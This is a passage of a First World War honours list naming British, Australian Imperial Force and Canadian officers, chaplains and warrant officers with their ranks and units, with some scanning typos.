Tmp 2nd Lt. Nathan Leonard Harris, attd. Royal Welsh Fusiliers
Lt. Stanley Dickinson Harrison, Lancashire Fusiliers
Lt. Stewart Sandbach Harrison, Irish Guards, attd. Machine Gun Guards
Capt. Henry John Harvey, King's Own Scottish Borderers
Lt. Marcus Goodbody Haughton, Yeomanry
Tmp 2nd Lt. Albert Hawkes, Bedfordshire Reg.
Lt. Thomas Hawkins, Yeomanry
2nd Lt. Percival Hay, Welsh Reg.
Lt. Sidney Pascoe Hayward, West Riding Reg.
Lt. Arthur William Haywood, Gloucestershire Reg.
Tmp 2nd Lt. Gregory Ignatius George Michael Thomas Head, Suffolk Reg.
Lt. Albert Victor Heal, Royal Field Arty.
Tmp 2nd Lt. John Thomas Healey, Royal Welsh Fusiliers
Tmp 2nd Lt. George Godfrey Heathcock, Royal Engineers
Lt. John Hector, Gordon Highlanders
Lt. Cuthbert Charles Hedges, Royal Berkshire Reg.
Tmp 2nd Lt. Gordon Henderson, Middlesex Reg.
Tmp 2nd Lt. Paul Matthew Heptinstall, Royal Engineers
Lt. Nathaniel Hess, Royal Field Arty.
Tmp 2nd Lt. Austen Heyes, attd. Liverpool Reg.
Tmp Capt. Charles Frederick Highett, Royal Engineers
Lt. John James Hill, York & Lancaster Reg.
2nd Lt. Samuel Frederick Hill, Royal Field Arty.
Lt. Thomas Ide Hill, Essex Reg.
2nd Lt. Francis Percy Hodge, Royal Field Arty.
2nd Lt. Charles Frederick Griffith Hollis, East Kent Reg.
2nd Lt. Robert Christmas Hollis, Lancers, and Machine Gun Corps
Tmp Lt. James Reginald Hucker, East Surrey Reg.
Lt. Charles Kerielm Hulbert, Wiltshire Reg.
Tmp 2nd Lt. William Charles Ibbott, Yorkshire Light Inf.
Lt. Cecil Eustace Irby, Grenadier Guards
2nd Lt. Harry Irish, West Yorkshire Reg.
2nd Lt. Joseph Henry Irons, West Riding Reg.
2nd Lt. Arthur Stanley Jack, West Riding Reg.
Tmp 2nd Lt. Stewart Spiers Jackson, Worcestershire Reg.
Lt. William Jaffrey, Argyll and Sutherland Highlanders
Tmp Lt. Paul Theodore James, Army Service Corps
Tmp 2nd Lt. James Jenkins, Northumberland Fusiliers
2nd Lt. Louis Augustus Fram Jeppe, Royal Field Arty.
2nd Lt. Roger Bridge Johnson, Hussars
Tmp 2nd Lt. John Walter Johnston, attd. Border Reg.
Lt. William Jeffray Johnstone, Yeomanry
Lt. George Basil Harris Jones, Yeomanry
Tmp Capt. James Phillips Jones, RAMC
2nd Lt. Kenneth Leslie Jones, Welsh Reg.
Tmp Capt. Frederick Bennett Julian RAMC
2nd Lt. Douglas Gordon Kemp, Royal Engineers
Tmp 2nd Lt. Robert Nathaniel Kennedy, Royal Irish Rifles
Tmp 2nd Lt. Lawrence Kimberley, Royal Warwickshire Reg.
Capt. George Geoffrey Kinder, West Yorkshire Reg.
2nd Lt. William Donald King, Royal Garrison Arty.
Tmp 2nd Lt. Edward Kinkead, Bedfordshire Reg.
Tmp 2nd Lt. Albert Marlow Kinnear, General List, and Royal Flying Corps
2nd Lt. Alfred Ovenden Knight, North Lancashire Reg.
Tmp 2nd Lt. Arthur Arnold Kirkham, attd. Middlesex Reg.
Tmp 2nd Lt. Hubert Knight, West Yorkshire Reg.
2nd Lt. Leonard Harry Knowles, Suffolk Reg.
2nd Lt. Willie Knowles, West Riding Reg.
Tmp 2nd Lt. Robert Kyle Knox, Royal Irish Rifles
Tmp 2nd Lt. Edward Dion Lane, Machine Gun Corps
Capt. Hardinge Lathom-Browne, Royal Fusiliers
Lt. Raymond Duff Lawford, Grenadier Guards
Lt. Percy Hastings Leach, Royal Field Arty.
2nd Lt. Francis John Lear, Royal Horse Arty.
Tmp 2nd Lt. Arthur Stanley Lee, Nottinghamshire and Derbyshire Reg. and Royal Flying Corps
Lt. Esmé Gordon Linton, King Edward's Horse
Tmp Lt. Albert Peregrine Lloyd, Welsh Reg.
Lt. John Charles Lloyd, Royal Field Arty.
Tmp 2nd Lt. Walter Edward Lovejoy, Royal Warwickshire Reg.
2nd Lt. John Lunn, Worcestershire Reg.
2nd Lt. Francis Murray Bernard Lutyens, Coldstream Guards
2nd Lt. Robert George Macadam, Royal Garrison Arty.
Lt. Malcolm Macfarlane, Royal Engineers
Tmp Capt. Arthur Griffiths Maitland-Jones, RAMC
Lt. John Mackenzie, Seaforth Highlanders
Lt. William Wyllie MacNaught RAMC
2nd Lt. Charles Mactaggart, Argyll and Sutherland Highlanders
Capt. Manliffe Unsworth Manly, Border Reg.
Rev. Charles Campbell Manning, Royal Army Chaplains' Dept.
Tmp Capt. James Manuel RAMC
Lt. John Marshall RAMC
Lt. William Edward Albert Masters, Royal Engineers
Lt. Ronald Frank Strickland Mauduit, Dragoon Guards and Royal Flying Corps
Capt. Aymer Douglas Maxwell, Royal Scots
Lt. Herbert Richard Dudfield May, Royal Warwickshire Reg.
2nd Lt. Reginald Walter May, Welsh Reg.
Tmp Capt. Duncan John McAfee RAMC
Lt. James Russell Royal Field Arty.
Tmp Capt. Frederick Buick McCarter RAMC
Lt. Conolly John Hillhouse McCausland, Yorkshire Light Inf.
Tmp 2nd Lt. James McFarlane, Machine Gun Corps
2nd Lt. Maurice Anderdon McFerran, Royal Irish Rifles
Lt. James Gordon McIntyre, Yeomanry
Lt. John Patrick McKemzie, attd. Royal Engineers
Tmp 2nd Lt. Thomas McKnight, Royal Inniskilling Fusiliers
Lt. Guy Wilkinson Meats, West Yorkshire Reg., Spec
2nd Lt. Frederick William Meston, Gordon Highlanders
2nd Lt. Harry Metcalfe, West Riding Reg.
2nd Lt. Leonard John Miles, Essex Reg.
Capt. Owen Miles, Royal Field Arty.
2nd Lt. Ernest Leonard Mills, London Reg.
Tmp Lt. George Henry Mills, Royal Welsh Fusiliers
Tmp Lt. William Watt Milne, Middlesex Reg.
Lt. George Esmond Milward, Royal Field Arty.
Lt. Allan Mitchell, York & Lancaster Reg.
Lt. Eric Sydney Mitchell, Worcestershire Reg.
Tmp 2nd Lt. James Mitchell, Royal Inniskilling Fusiliers
Capt. Alaric Rimington Moncrieff, Dragoons
Tmp Capt. James Allen Montgomery RAMC
2nd Lt. Donald Arthur Birbeck Moodie, Irish Guards
2nd Lt. John Moor, West Yorkshire Reg.
2nd Lt. James Alexander Moreland, Royal Irish Rifles
Rev. Abraham Rees Morgan, Royal Army Chaplains' Dept.
Lt. David Floyd Popkin Morgan, Yeomanry
2nd Lt. Arthur Henry Morris, Middlesex Reg.
Temp2nd Lt. Edward Morris, Yorkshire Light Inf.
Capt. George Morris RAMC
2nd Lt. John Frederick Morrison, Lancashire Fusiliers
Tmp Lt. David Assur Henry Moses, RAMC
Lt. Edward James Moss, Yeomanry
Lt. Cecil Eric Moy, London Reg.
Capt. James Belling Mudge, Nottinghamshire and Derbyshire Reg.
Risaldar Mukand Singh Bahadur, Indian Cav.
2nd Lt. Arthur Ernest Mulholland, Royal Horse Arty.
2nd Lt. William Thomas John Munday, Royal Field Arty.
2nd Lt. James Hendrie Munro, Seaforth Highlanders
2nd Lt. Martin, Munro, York & Lancaster Reg.
Lt. John Neil, Argyll and Sutherland Highlanders, attd. Machine Gun Corps
2nd Lt. Alexander Millar Meish, Argyll and Sutherland Highlanders
Lt. Richard Robert Oakley, Yeomanry, attd. Machine Gun Corps
Lt. Benjamin Fiellerup O'Dowda, Royal Engineers
2nd Lt. Bruce Oliver, Royal Field Arty.
Tmp Lt. Henry Marsden Oliver, Royal Field Arty.
2nd Lt. Walter Hugh Ormiston Hugh, London Reg.
Tmp Lt. Evan Edward Owens, RAMC
Lt. William Walter Keith Page, attd. Indian Cav.
Tmp 2nd Lt. Dennis Lello Adkins Paine Royal Warwickshire Reg.
2nd Lt. Robert McAulay Park, Argyll and Sutherland Highlanders
2nd Lt. William Bullus Parker, East Surrey Reg.
Tmp 2nd Lt. Albert Parry, Worcestershire Reg.
2nd Lt. James Henry Partridge, Royal Irish Fusiliers
Capt. Jesse John Paskin, Worcestershire Reg., attd. Machine Gun Corps
Tmp 2nd Lt. William Hanna Patterson, Royal Inniskilling Fusiliers
Tmp 2nd Lt. Frederick Charles Peel, General List
Tmp 2nd Lt. Charles Ernest Pegram, Rifle Brigade
Rev. Albert Frederick Pentney, Royal Army Chaplains' Dept.
Tmp 2nd Lt. Francis George Wood Pepper, West Riding Reg.
Capt. Harold Dobson Pickles RAMC
Lt. Frederick William Piggin, Yeomanry
2nd Lt. Charles Lawrence Porteous, Royal Irish Fusiliers
2nd Lt. Bennis Hammond Portway, Yeomanry
Rev. Henry Regan Potter, Royal Army Chaplains' Dept.
Capt. William Gerald Howell Powell-Edwards, Yeomanry
Lt. Frank Whitchurch Priaulx, Scots Guards
Tmp 2nd Lt. William Price, Royal Inniskilling Fusiliers
Capt. John Alexander Pridham, RAMC
Capt. Inkerman T. Pritchard, Worcestershire Reg.
Tmp Capt. Arthur Montague William Proctor, Suffolk Reg.
Tmp 2nd Lt. Herbert Victor Pugh, Dorsetshire Reg.
2nd Lt. James William Pugh, West Yorkshire Reg.
Lt. Peter Purcell-Gilpin, Scots Guards
Tmp 2nd Lt. George Forrest Raeside, Royal Lancaster Reg.
Capt. William Taunton Raikes, South Wales Borderers, attd. Machine Gun Corps
Capt. Thomas Alexander Rattray, Yeomanry
Lt. Geoffrey Earle Raven, West Yorkshire Reg.
Tmp 2nd Lt. Ernest Hubert Rawson, Royal Field Arty.
Tmp 2nd Lt. Stanley Richard, Machine Gun Corps
Tmp 2nd Lt. William Richards, Machine Gun Corps
2nd Lt. William Victor Richards, Dorsetshire Reg.
Q.M. and Hon. Capt. Henry Shred Roberts, Essex Reg.
2nd Lt. John Roberts, Royal Field Arty.
Tmp Capt. John Price Roberts, Machine Gun Corps
Lt. Thomas Norman Roberts, Royal Garrison Arty.
Capt. William Robertson RAMC
Lt. Vyvyan Arthur Hemming Robeson, Royal Flying Corps
Lt. Alfred Robinson, Yorkshire Light Inf.
Tmp 2nd Lt. Gilbert Arthur Robinson, West Yorkshire Reg.
2nd Lt. John Lister Rodger, Yorkshire Light Inf.
2nd Lt. Arthur Boulivant Rogers, Shropshire Light Inf.
2nd Lt. William Wendell Rogers, Royal Flying Corps
2nd Lt. Cyril Williams Rowlands, London Reg.
Tmp Capt. Lionel Matthew Rowlette RAMC
Q.M. and Hon. Lt. George Matthew Runiball, Yeomanry
Lt. Alec Charles Russell, Royal Field Arty.
Tmp Capt. Cedric Russell RAMC
Capt. Henry Thornbury Fox Russell, Royal Welsh Fusiliers and Royal Flying Corps
2nd Lt. George Rutherford, Gordon Highlanders
Tmp Capt. Robert Rutherford RAMC
2nd Lt. Albert Henry Salmon, Gordon Highlanders
Tmp 2nd Lt. Eric Denton Samuel, attd. Middlesex Reg.
Capt. Mervyn Savill, London Reg.
Lt. Edward Charles Sawyer, West Yorkshire Reg.
Capt. Alfred Carlisle Sayer, Yeomanry
Tmp 2nd Lt. Percy Scholes, Yorkshire Light Inf.
Tmp 2nd Lt. William Shairp, L.C.
Tmp Capt. William Harold Nelson Shakespeare, Royal Flying Corps
2nd Lt. Lawrence Ernest Shaw-Lawrence, East Kent Reg. and Royal Flying Corps
2nd Lt. Gilbert Recklaw Singleton-Gates, Hampshire Reg.
Tmp 2nd Lt. James Anderson Slater, General List and Royal Flying Corps
Tmp 2nd Lt. Ernest Rees Smith, Machine Gun Corps
2nd Lt. Frank James Smith Royal Berkshire Reg.
Lt. John Hunter Smith, Royal Field Arty.
Tmp 2nd Lt. Joseph Harold Smith, Border Reg.
Lt. Joseph Thomson Smith, Royal Field Arty.
Lt. Victor Wallace Smith, Indian Army Reserve of Ofc.s
Tmp 2nd Lt. Isaiah Somerset, Royal Irish Rifles
Lt. Patrick Magnus Spence, Grenadier Guards
Lt. Humphrey Henry Sloane Stanley, Grenadier Guards
Lt. James Stewart, Royal Horse Arty.
Capt. William Stewart, Royal Irish Fusiliers
2nd Lt. Walter John Stokes, Worcestershire Reg.
Lt. Edgar James Stone, Royal Guernsey Light Inf.
Rev. Frank Stone Royal Army Chaplains' Dept.
Capt. Stanley James Stotesbury, Gloucestershire Reg.
Lt. James Strachan, Gordon Highlanders
Lt. Harry Easterbrook Knollys Stranger, Royal Guernsey Light Inf.
Lt. Ralph Tyacke Stratton, Cav.
Lt. Stewart O'Roke Surridge, York & Lancaster Reg.
Tmp 2nd Lt. Charles Stevens Sutherland, Northumberland Fusiliers
Tmp Capt. Brian Herbert Swift RAMC
Lt. Neville Cropley Swift, East Lancashire Reg.
Tmp Capt. John Roy Symes, South Wales Borderers
Tmp Lt. Reginald Stanislaus Victor Talbot, Gloucestershire Reg.
2nd Lt. Harold Vincent Tewson, West Yorkshire Reg.
Tmp Lt. Herbert James Thomas, Liverpool Reg.
2nd Lt. Reginald Thomas, South Wales Borderers
Tmp Lt. Ernest John Tytler Thompson, Highland Light Inf.
Tmp 2nd Lt. George Thompson, York & Lancaster Reg.
2nd Lt. Joseph Thompson, West Riding Reg.
Capt. Arthur Peregrine Thomson, RAMC
Tmp 2nd Lt. Douglas Gordon Thomson, Rifle Brigade
2nd Lt. George Frederick Thorn, Royal Field Arty.
Lt. Thomas Thornton, Royal Field Arty.
2nd Lt. Fred Herbert Thubron, Royal Field Arty.
Capt. Thomas Ernest Tildesley, North Staffordshire Reg.
2nd Lt. Alfred Eric Titley, Devonshire Reg.
Tmp 2nd Lt. Ernest James Tranter, Royal Warwickshire Reg.
Tmp 2nd Lt. Thomas Trohear, Nottinghamshire and Derbyshire Reg.
Lt. Hugh Martin Trower, Middlesex Reg.
Tmp 2nd Lt. John Beazley Tyner Royal Inniskilling Fusiliers
2nd Lt. Leo Francis Veal, West Yorkshire Reg.
Tmp Capt. George Dibbs King Waldron RAMC
2nd Lt. Thomas John Walford, Royal Field Arty.
Lt. James Graham Bryce Walker, Highland Light Inf.
Capt. Douglas Larmer Wall RAMC
Lt. William John Ward, London Reg.
Tmp 2nd Lt. William Moss Wardell, Machine Gun Corps
Tmp 2nd Lt. Francis Ernest Warran, attd. Duke of Cornwall's Light Inf.
2nd Lt. Frederick Washington, Royal Inniskilling Fusiliers
Tmp Lt. Joseph Gilbert Webb, Royal Welsh Fusiliers
2nd Lt. Nicholas Victor Webber, Shropshire Light Inf.
Lt. Robert Kemp Wellwood, Seaforth Highlanders
2nd Lt. Edward Harnston Weston, London Reg.
2nd Lt. Frederick Victor White, Royal Field Arty.
Capt. John Donald White Middlesex Reg.
Lt. Robert White, London Reg.
2nd Lt. Arthur Whitfield, Royal Berkshire Reg.
Lt. Arthur George Whittington, Middlesex Reg.
Capt. Dysart Edward Whitworth, Indian Cav.
Lt. Harold Gwynne Wiggins, Grenadier Guards
Tmp 2nd Lt. William Henry Wild, Lancashire Fusiliers
Lt. Alfred Leonard Wilkes, Royal Field Arty.
Tmp 2nd Lt. Arthur Stuart Williams, Royal Welsh Fusiliers
2nd Lt. Edward Tom Williams, Royal Field Arty.
2nd Lt. Frank Williams, Royal Engineers
Lt. John Wilson, Yeomanry
Tmp Capt. Emilius Albert Ernest Wilson-Weichart, Army Service Corps
2nd Lt. George Howard Wintle, Gloucestershire Reg.
Tmp 2nd Lt. Gordon Thomas Worn, Norfolk Reg.
2nd Lt. James Wijliam Worth, West Yorkshire Reg.
Lt. Richard Louis Wreford-Brown, Welsh Guards
Rev. Arthur Basil Wright, Royal Army Chaplains' Dept.
Tmp 2nd Lt. Edward Grigg Wylie, Durham Light Inf.
Capt. James Anderson Young, RAMC
Capt. James Carruthers Young RAMC
Capt. John Hamilton Langdon Yorke, Yeomanry
Battery Sergeant Major George Fettis Bowden, Royal Field Arty.
C.S. Maj. Albert Brough West Yorkshire Reg.
C.S. Maj. John Cameron, Royal Highlanders
C.S. Maj. Joseph Carroll, Royal Irish Fusiliers
Sgt. Major Frank Hulbert, RAMC
C.S. Maj. Thomas Jones, South Wales Borderers
C.S. Maj. Herbert Henry Stone, South Wales Borderers
Sgt. Major Robert Millar Lowe Walkinshaw London Reg.
Australian Imperial Force
Capt. Cyril Abey, Headquarters, Australian Army Service Corps
Capt. Victor Clarkson Alderson, Inf.
Capt. Arthur Max Allen, Engineers
Capt. Ernest Sleeman Anderson, Engineers
Lt. William Thomas Anderson, Tunneling Company, attd. Mining and Boring Company
Lt. Daniel Herbert Anthon, Inf.
Lt. Reginald Bartley Ashe, Engineers
Capt. Basil Spence Atkinson, Inf.
Rev. Michael Bergin, Australian Chaplains' Dept.
Lt. Alexander Bickers, Trench Mortar Battery
Capt. Ewen Mackay Bland, Inf.
Rev. Joseph John Booth, Australian Chaplains' Dept.
Rev. Vivian Roy Bradbury, Australian Chaplains' Dept.
Lt. Arthur Clarence Brewster, Inf.
Lt. Claude Edmund Burke, Field Arty.
Capt. Edmund Louis Burke, Field Arty.
Capt. Harold Burke, Inf.
Capt. Henry Charles Dight Cadell, Inf.
Capt. Archibald Eric Gordon Campbell, Anzac Imperial Camel Corps
Capt. Cecil James Carroll, Inf.
Capt. Alexander Chalmers, Pioneer Battalion
Capt. Charles Mulso Compigne Chase, Field Arty.
Lt. Frederick Graham Spower Cherry, Inf., attd. Light Trench Mortar Battery
Lt. Ernest Hector Christian, Inf.
Lt. Raymond Arthur Clarie, Inf.
Capt. Robert Adam Clinton, Tunneling Company, Engineers
Rev. Francis Clune, Australian Chaplains' Dept.
Lt. Robert Calvin, Inf.
Lt. William Montague Bell Cory, Machine Gun Company
Lt. Charles William Couchman, Inf., attd. Light Trench Mortar Battery
Capt. George Hinchcliffe Crowther, Inf.
Lt. John Davidson, Imperial Camel Corps
Capt. Algernon Wiseman Davis, Inf.
Capt. Charles Alfred Melbourne Dearham, Inf.
Capt. Keith McKeddie Doig, Australian Army Medical Corps
Lt. Roger Douglas, Machine Gun Company
Rev. William Keith Douglas, Australian Chaplains' Dept.
Capt. Granville Stuart Down, Ordnance Corps
Lt. Charles Leo Dunn, Pioneer Battalion
Capt. Claude Cadman Easterbrook, Light Horse Reg.
Capt. George Stephenson Elliott, Australian Army Medical Corps
Lt. Albert Bruchiaux Ellis, Arty.
Capt. Alfred William Leslie Ellis, Flying Corps
Capt. Sidney Ernest Evans, Engineers
Capt. Wilfred Evans, Australian Army Medical Corps
Capt. Fred Evans, Light Horse Reg.
Lt. Eric Samuel Everett, Machine Gun Company
Capt. Challenger George Farmer, Australian Army Service Corps
Lt. Robert David Fisher, Inf.
Capt. Stanley Fletcher, Australian Army Veterinary Corps
Capt. Robert Bruce Forsyth, Inf.
Capt. William Murray Fowler, Inf.
Capt. Alexander Fraser, Inf.
Capt. Alexander Hugh Fraser, Inf.
Lt. Herbert John Gee, Light Horse Reg.
Capt. Daniel Robert Glasgow, Australian Army Service Corps
Rev. Hubert Keith Gordon, Australian Chaplains' Dept.
Capt. Walter Duncross Goudie, Pioneer Battalion
Lt. Norman Graham, Light Trench Mortar Battery
Capt. Frank Clifton Green, Inf.
Lt. James Grieve, Australian Army Ordnance Corps
Capt. Henry James Gurd, Field Arty.
Capt. Ross Alexander Peden Hamilton, Australian Machine Gun Corps
Lt. Hector John Harrison, Inf.
Lt. Gilbert Harry, Inf.
Q.M. and Hon. Capt. Herbert Stanley Hawker, Inf.
Capt. John Martin Hawkey, Inf.
Lt. Ronald Graham Henderson, Inf.
2nd Lt. Peter Hendley, Arty.
Lt. Walter Henry Higgins, Engineers
Capt. Robert Irvine Hillard, Inf.
Lt. John Mervyn Hobbs, Arty.
Capt. Richard Hastings Hudson, Australian Army Medical Corps
Lt. Charles Edward Hughes, Machine Gun Corps
Lt. James Dawson Johnston, Inf., attd. Light Trench Mortar Battery
Lt. Rupert Charles Jones, Inf.
Capt. Coleman Henry Joseph, Engineers
Lt. James Edward Keating, Inf.
Q.M. and Hon. Capt. Stanley Roy Kent, Inf.
Capt. Henry Mackay Laity, Australian Army Service Corps
Lt. George Arthur Lamerton, Inf.
Lt. Cyril Lawrence, Engineers
Lt. Harold Alexander Letch, Light Horse Reg.
Lt. John Henry Lilley, Inf.
Lt. James Hemery Lindon, Pioneer Battalion
R.S. Maj. Harry Lindsay, Inf.
Capt. John Caruthers Little, Inf.
Lt. Clarence Robert Collie Lundy, Pioneer Battalion
Capt. Walter Gordon Lush, Engineers
Lt. Andrew Gardiner Macallister, Arty.
Lt. Malcolm Hilliard McDougall, Imperial Camel Corps
Capt. Alfred Oswald McMullin, Arty.
Capt. Edward James McNabb, Inf.
Capt. Harry Akhurst Mann, Inf.
Capt. Henry Fitzgerald Maudsley, Australian Army Medical Corps
Capt. Leonard May, Australian Army Medical Corps
Lt. Charles Wolseley Mercer, Australian Army Service Corps
Rev. Alfred Avery Mills, Australian Chaplains' Dept.
Capt. Bruce Minter, Arty.
Capt. Gerald Vincent Moriarty, Arty.
Lt. Herbert Fraser Morrison, Inf.
Lt. Walter John Mullett, Australian Army Service Corps
Rev. Thomas Mullins, Chaplain to the Forces, Australian Imperial Force
Capt. Archibald James Murray, Inf.
Q.M. and Hon. Capt. John Francis Murray, Australian Army Medical Corps
Lt. Henry Robert Neale, Inf.
Q.M. and Hon. Lt. Frederick Bedford Newell, Inf.
Lt. Alan John Newlands, Inf., attd. Light Trench Mortar Battery
Lt. George William Norfolk, E. and M. Mining and Boring Company, Engineers
Q.M. and Hon. Lt. Douglas Gordon Oakley, Inf.
Lt. John Francis O'Connell, Inf.
Rev. John Edward Norman Osborn Australian Chaplains' Dept.
Capt. George Harry Oswald, Inf.
Capt. Frank Edmund Page, Inf., attd. Light Trench Mortar Battery
Capt. Ernest Kent Parry, Australian Army Medical Corps
Capt. John Pascoe, Inf.
Capt. Donald Barclay Payne, Inf.
Lt. Harold Ford Pearson, Inf.
Capt. Clarence Abraham Pyke, Australian Army Service Corps
Capt. Cyril Norman Richardson, Inf.
Capt. Arthur Lancelot Rickard, Arty.
Capt. Herbert John Joseph Rigney, Australian Army Service Corps
Lt. Harold Edgar Roach, Arty.
Capt. Leonard Nairn Roach, Inf.
Capt. James Stanley Rogers, Inf.
Capt. George Rosevear, Light Horse Reg.
Capt. Louis Carle Roth, Pioneer Battalion
Lt. Clifford Lionel Clarence Howe, Australian Army Service Corps
Lt. Hugh Russel, Tunneling Company, Engineers
Capt. Arthur Percival St. John, Inf.
Capt. Stanley George Savige, Inf.
Capt. Colin Coape Simson, Australian Army Medical Corps
Capt. George Henry Glencross Smith, Inf.
Lt. Rupert Frank Smith, Engineers
Warrant Ofc., 2nd Class, George Snowdon, Arty.
Rev. Alexander MacEwen Stevenson, Australian Chaplains' Dept.
Capt. John Edward Graham Stevenson, Engineers
Capt. Geoffrey Austin Street, Inf.
Lt. Colin Pride Stumm, Light Horse Reg.
Capt. Charles Bowmont Taylor, Inf.
Warrant Ofc., 1st Class, Edgar George Thompson, Arty.
Lt. George Richard Thompson, Engineers
Lt. Stanley Towns, Inf.
Lt. Arthur Harold Traves, Pioneer Battalion
Lt. Francis John Tuckett, Engineers
2nd Lt. John Vincent Tunbridge, Flying Corps
R.S. Maj. Ernest Vernon Tuson, Inf.
Lt. Arthur Cyril Roy Waite, Arty.
Lt. Frederick Mitchell Waite, Light Horse Reg.
Capt. Neville Wallach, Inf.
Rev. Frederick Greenfield Ward, Australian Chaplains' Dept.
Capt. Augustine William Wardell, Machine Gun Corps
Lt. Albert Leslie Watson, Inf.
Lt. Roy Gordon Webster, Inf.
Capt. Robert Marriott William Webster, Australian Army Medical Corps
Q.M. and Hon. Capt. Richard Packer Wheeler, Australian Army Medical Corps
Capt. Arthur Charles White, Inf.
Lt. Reginald Wilkinson, attd. Signal Company, Royal Engineers
Rev. Frederick Percy Williams, Australian Chaplains' Dept.
Lt. Garnet Angus Williamson, Inf.
Capt. Frank Alan Wisdom, Inf.
2nd Lt. Stanley Stuart Woods, Inf.
2nd Lt.-James Sutherland Beavis, Inf.
Capt. Norman Gorton Booth, Inf.
2nd Lt. Alfred Percival Brown, Inf.
Lt. Cecil Olbers Clark, Inf.
Lt. Henry Lawrence Foster, Inf.
Lt. Leslie Hubert Holden, Forestry Corps
Lt. Richard Watson Howard, Forestry Corps
Lt. Frederick George Huxley, Forestry Corps
Capt. Charles Launcelot Moule, Inf.
Capt. Roy Cecil Phillips, Forestry Corps
Lt. Harry Taylor, Forestry Corps
Lt. Gordon Campbell Wilson, Forestry Corps
Lt. William Martin Bermingham, Machine Gun Corps
2nd Lt. Richard Henry Blomfield, Inf.
Lt. John Markham Carter, Light Horse Reg.
2nd Lt. Francis Cawley, Army Service Corps
Lt. Harry Payne Chamberlain, Army Service Corps
Capt. Archibald John Collins, Army Medical Corps
Lt. Charles Robinson Cox, Inf.
Capt. Jack Rupert Cyril Davies, Light Horse Reg.
Lt. William Lezlie Garrard, Inf.
Capt. Telford Graham Gilder, Inf.
Capt. Eric Macallan Gordon-Glassford, Army Medical Corps
Lt. James Norbert Griffin, Light Horse Reg.
Capt. Ferdinand Charles Heberle, Inf.
Lt. Bert James Jackson, Inf.
Lt. Herbert John James, Inf.
Lt. John Heber Johnson, Inf.
Capt. Eric Stanley Kater, Light Horse Reg.
Capt. Hugh Edward Kirkland, Army Medical Corps
Lt. James Kissane, Machine Gun Corps
Capt. Ernest William Latchford, Inf.
Capt. Guy Ardlaw Lawrance, Army Medical Corps
Capt. John Shaw. Mackay, Army Medical Corps
Capt. Melrose Holton Mailer, Army Medical Corps
Capt. John Grieve Paterson, Inf.
Capt. Charles Robert Pinney, Inf.
Lt. Thomas Clifton Pittaway, Inf.
Capt. William Dempsey Quilty, Army Medical Corps
Capt. Norman Gordon Rae, Light Horse Reg.
Capt. Albert David Reid, Light Horse Reg.
Capt. Julian Walter Richards, Machine Gun Corps
Lt. Rodney Keith Robey, Light Horse Reg.
Capt. Clive Frederic Robinson, Army Medical Corps
Capt. Walter John Rose, Pioneers
Lt. William Richard Staton, Inf.
Q.M. and Hon. Capt. Stephen Upton Timewell, Inf.
Lt. Robert Gordon Walduck, Inf.
Capt. and Flight Cmdr. Stanhope Irwing Winter-Irving, Australian Flying Corps
2nd Lt. John Frederiok Wood, Inf.
Canadian Force
Capt. Herbert Charles Allison, Canadian Army Medical Corps
Lt. William Kennedy Anderson, Inf. and Royal Flying Corps
Lt. Alfred Edward Baker, Motor Machine Gun Corps
Capt. James Nunn Bales, Inf.
Lt. Clarence Vivian Bishop, Arty.
Lt. Lennox Graham Black, Inf., attd. Trench Mortar Battery
Capt. Frank Thompson Bown, Inf.
Capt. Richard Redmond Brough, Inf.
Lt. George Wood Brown, Inf.
Capt. Harry Cauldwell, Labour Company
Capt. Cyril William Upton Chivers, Mounted Rifles
Lt. Charles Levinge Clayton, Inf., attd. Engineers
Capt. Harry Kelsey Clifton, Inf.
Lt. George Francis Clingan, Machine Gun Corps
Lt. William Bernard Cooper, Labour Corps
Capti. Stanley Lavelle Cunningham, Inf.
Lt. Joseph Dakers, Inf.
Lt. Norman Joyce D'Arcy, Labour Corps
Lt. John Alexander Dewart, Machine Gun Corps
Lt. Charles William Dickson, Inf.
Capt. Thomas William Eric Dixon, Mounted Rifles
Lt. Robert Dunlop, Inf.
Lt. Everett Ethridge, Inf.
Lt. Arthur James Everett, Light Horse
Captu Charles Philip Fenwick, Canadian Army Medical Corps
Capt. Eric Barrett Fmley, Inf.
Capt. William Gordon Hanson, Arty.
Capt. Robert John Gardiner, Canadian Army Medical Corps
R.S. Maj. Arthur Garrod, Inf.
Lt. Wallace Robert Gibson, Pioneer Battalion
Lt. Andrew Alfred Gillis, Arty.
Capt. Joseph Edmund Gobeil, Divisional Train
Capt. Thomas Godfrey, Mounted Rifles
Capt. William Douglas Bamford Goodfellow, Machine Gun Corps
Capt. Richard Leonard Goodliff, Inf.
Lt. Harold Victor Gould, Inf.
Hon. Capt. Edwin Ernest Graham, Canadian Chaplains' Service
Capt. Melvin John Graham, Inf.
Lt. Thomas Rees Griffith, Inf.
Lt. Eric Wilson Haldenby, Inf.
Lt. Irving Cecil Hall, 12th Company, Canadian Machine Gun Ccrps
Capt. Walter Archibald Harrison, Arty.
Capt. Richard Todd Wilson Herald, Canadian Army Medical Corps
Lt. William Duncan Herridger, Cyclist Company
Capt. Edwin Henry Hill, Inf.
Capt. George William Frances Hodgins, Inf.
Lt. Stanley Burntt Her, Engineers
Lt. Ralph Stanley Jackson, Machine Gun Corps
Capt. Arthur Llewellyn Jones, Canadian Army Medical Corps
Capt. Laurence St. George Kelly, Arty.
Capt. Walter de Mayhew King, Light Horse
Capt. Arthur Henry Whittington Landon, Royal Canadian Reg.
Lt. Edwin Ralph Langton, Inf.
Lt. Gerald Bristol Latimer, Engineers
Capt. Ernest Wilkinson Lawrence, Inf.
Capt. William Leggat, Arty.
Lt. John Austin Loy, Arty.
Hon. Capt. Rev. Harold McCausland, Canadian Chaplains' Service
Lt. Duncan Daniel McCaimmon, Railway Troops
Lt. Robert Vernon Macaulay, Arty.
Lt. Merrick Rennie McCracken, Engineers
Lt. Oliver Bain McCuaig, Engineers
Capt. Alan Holmes MacDonald, Pioneer Battalion
Lt. Geoffrey Ernest Macdonald, Inf.
Lt. Robert Ross Macdonald, Inf.
Hon. Capt. Rev. Roderick Andrew MacDonnel, Canadian Chaplains' Service
Lt. llan Alderson McQueen, Arty.
Capt. Francis Gibson Malloch, Engineers
Lt. John Miller, Inf.
R.S. Maj. George Mitten, Inf.
Lt. Lome Cuthbert Montgomery, Inf.
Tmp Lt. George Bennett Morley, Engineers
C.S. Maj. Thomas John Moulds, Inf.
Lt. James Hector Ross Murphy, Inf.
Lt. Robert Newton, Arty.
Capt. George Saher Willis Nicholson, Inf.
Lt. William Me Adam Nickle, Inf.
Capt. Timothy Harold O'Brien, Arty.
Capt. Thomas Patrick O'Kelly, Inf.
Q.M. and Hon. Capt. Leo Patenaude, Inf.
